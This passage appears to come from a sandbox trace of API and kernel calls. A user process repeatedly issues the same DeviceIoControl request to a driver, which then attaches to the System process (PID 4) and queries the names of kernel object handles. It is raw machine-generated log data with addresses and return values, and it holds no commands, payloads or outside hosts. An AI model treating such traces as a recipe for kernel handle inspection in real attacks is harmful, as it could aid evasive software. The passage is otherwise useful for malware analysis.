lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.103] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.103] PsAcquireProcessExitSynchronization () returned 0x0 [0103.103] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.103] ObReferenceObjectByHandle (in: Handle=0xffffffff8000081c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002119050, HandleInformation=0x0) returned 0x0 [0103.103] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.103] PsReleaseProcessExitSynchronization () returned 0x2 [0103.103] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.103] ObQueryNameString (in: Object=0xfffffa8002119050, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.103] ObfDereferenceObject (Object=0xfffffa8002119050) returned 0x2 [0103.103] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.103] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.103] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.103] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.103] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.103] PsAcquireProcessExitSynchronization () returned 0x0 [0103.103] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.103] ObReferenceObjectByHandle (in: Handle=0xffffffff80000824, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002355050, HandleInformation=0x0) returned 0x0 [0103.103] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.103] PsReleaseProcessExitSynchronization () returned 0x2 [0103.103] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.103] ObQueryNameString (in: Object=0xfffffa8002355050, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.103] ObfDereferenceObject (Object=0xfffffa8002355050) returned 0x2 [0103.103] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.103] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.103] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.103] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.103] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.103] PsAcquireProcessExitSynchronization () returned 0x0 [0103.103] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.103] ObReferenceObjectByHandle (in: Handle=0xffffffff8000082c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80028172c0, HandleInformation=0x0) returned 0x0 [0103.103] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.103] PsReleaseProcessExitSynchronization () returned 0x2 [0103.103] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.104] ObQueryNameString (in: Object=0xfffffa80028172c0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.104] ObfDereferenceObject (Object=0xfffffa80028172c0) returned 0x2 [0103.104] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.104] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.104] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.104] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.104] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.104] PsAcquireProcessExitSynchronization () returned 0x0 [0103.104] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.104] ObReferenceObjectByHandle (in: Handle=0xffffffff80000834, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002135750, HandleInformation=0x0) returned 0x0 [0103.104] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.104] PsReleaseProcessExitSynchronization () returned 0x2 [0103.104] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.104] ObQueryNameString (in: Object=0xfffffa8002135750, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.104] ObfDereferenceObject (Object=0xfffffa8002135750) returned 0x2 [0103.104] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.104] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.104] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.104] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.104] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.104] PsAcquireProcessExitSynchronization () returned 0x0 [0103.104] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.104] ObReferenceObjectByHandle (in: Handle=0xffffffff80000838, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800263ed90, HandleInformation=0x0) returned 0x0 [0103.104] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.104] PsReleaseProcessExitSynchronization () returned 0x2 [0103.104] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.104] ObQueryNameString (in: Object=0xfffffa800263ed90, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.104] ObfDereferenceObject (Object=0xfffffa800263ed90) returned 0x2 [0103.104] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.104] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.104] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.104] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.104] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.105] PsAcquireProcessExitSynchronization () returned 0x0 [0103.105] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.105] ObReferenceObjectByHandle (in: Handle=0xffffffff8000083c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002346960, HandleInformation=0x0) returned 0x0 [0103.105] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.105] PsReleaseProcessExitSynchronization () returned 0x2 [0103.105] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.105] ObQueryNameString (in: Object=0xfffffa8002346960, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.105] ObfDereferenceObject (Object=0xfffffa8002346960) returned 0x2 [0103.105] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.105] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.105] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.105] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.105] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.105] PsAcquireProcessExitSynchronization () returned 0x0 [0103.105] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.105] ObReferenceObjectByHandle (in: Handle=0xffffffff80000844, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002491e80, HandleInformation=0x0) returned 0x0 [0103.105] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.105] PsReleaseProcessExitSynchronization () returned 0x2 [0103.105] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.105] ObQueryNameString (in: Object=0xfffffa8002491e80, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.105] ObfDereferenceObject (Object=0xfffffa8002491e80) returned 0x2 [0103.105] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.105] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.105] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.105] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.105] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.105] PsAcquireProcessExitSynchronization () returned 0x0 [0103.105] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.105] ObReferenceObjectByHandle (in: Handle=0xffffffff8000084c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80037f0f20, HandleInformation=0x0) returned 0x0 [0103.105] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.105] PsReleaseProcessExitSynchronization () returned 0x2 [0103.105] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.105] ObQueryNameString (in: Object=0xfffffa80037f0f20, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.106] ObfDereferenceObject (Object=0xfffffa80037f0f20) returned 0x2 [0103.106] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.106] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.106] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.106] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.106] PsAcquireProcessExitSynchronization () returned 0x0 [0103.106] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.106] ObReferenceObjectByHandle (in: Handle=0xffffffff80000864, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800374d660, HandleInformation=0x0) returned 0x0 [0103.106] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.106] PsReleaseProcessExitSynchronization () returned 0x2 [0103.106] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.106] ObQueryNameString (in: Object=0xfffffa800374d660, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.106] ObfDereferenceObject (Object=0xfffffa800374d660) returned 0x2 [0103.106] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.106] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.106] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.106] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.106] PsAcquireProcessExitSynchronization () returned 0x0 [0103.106] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.106] ObReferenceObjectByHandle (in: Handle=0xffffffff80000894, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002132480, HandleInformation=0x0) returned 0x0 [0103.106] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.106] PsReleaseProcessExitSynchronization () returned 0x2 [0103.106] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.106] ObQueryNameString (in: Object=0xfffffa8002132480, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.106] ObfDereferenceObject (Object=0xfffffa8002132480) returned 0x2 [0103.106] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.106] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.106] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.106] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.106] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.106] PsAcquireProcessExitSynchronization () returned 0x0 [0103.107] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.107] ObReferenceObjectByHandle (in: Handle=0xffffffff800008b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80024f8b60, HandleInformation=0x0) returned 0x0 [0103.107] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.107] PsReleaseProcessExitSynchronization () returned 0x2 [0103.107] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.107] ObQueryNameString (in: Object=0xfffffa80024f8b60, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.107] ObfDereferenceObject (Object=0xfffffa80024f8b60) returned 0x2 [0103.107] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.107] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.107] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.107] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.107] PsAcquireProcessExitSynchronization () returned 0x0 [0103.107] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.107] ObReferenceObjectByHandle (in: Handle=0xffffffff800008bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800390a7d0, HandleInformation=0x0) returned 0x0 [0103.107] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.107] PsReleaseProcessExitSynchronization () returned 0x2 [0103.107] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.107] ObQueryNameString (in: Object=0xfffffa800390a7d0, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.107] ObfDereferenceObject (Object=0xfffffa800390a7d0) returned 0x2 [0103.107] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.107] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.107] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.107] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.107] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.107] PsAcquireProcessExitSynchronization () returned 0x0 [0103.107] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.107] ObReferenceObjectByHandle (in: Handle=0xffffffff800008c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002502240, HandleInformation=0x0) returned 0x0 [0103.107] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.107] PsReleaseProcessExitSynchronization () returned 0x2 [0103.107] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.107] ObQueryNameString (in: Object=0xfffffa8002502240, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.107] ObfDereferenceObject (Object=0xfffffa8002502240) returned 0x2 [0103.108] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.108] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.108] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.108] PsAcquireProcessExitSynchronization () returned 0x0 [0103.108] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.108] ObReferenceObjectByHandle (in: Handle=0xffffffff800008d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800218eaa0, HandleInformation=0x0) returned 0x0 [0103.108] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.108] PsReleaseProcessExitSynchronization () returned 0x2 [0103.108] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.108] ObQueryNameString (in: Object=0xfffffa800218eaa0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.108] ObfDereferenceObject (Object=0xfffffa800218eaa0) returned 0x2 [0103.108] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.108] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.108] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.108] PsAcquireProcessExitSynchronization () returned 0x0 [0103.108] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.108] ObReferenceObjectByHandle (in: Handle=0xffffffff800008dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80022efa40, HandleInformation=0x0) returned 0x0 [0103.108] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.108] PsReleaseProcessExitSynchronization () returned 0x2 [0103.108] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.108] ObQueryNameString (in: Object=0xfffffa80022efa40, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.108] ObfDereferenceObject (Object=0xfffffa80022efa40) returned 0x2 [0103.108] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.108] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.108] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.108] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.108] PsAcquireProcessExitSynchronization () returned 0x0 [0103.108] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.109] ObReferenceObjectByHandle (in: Handle=0xffffffff800008e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, 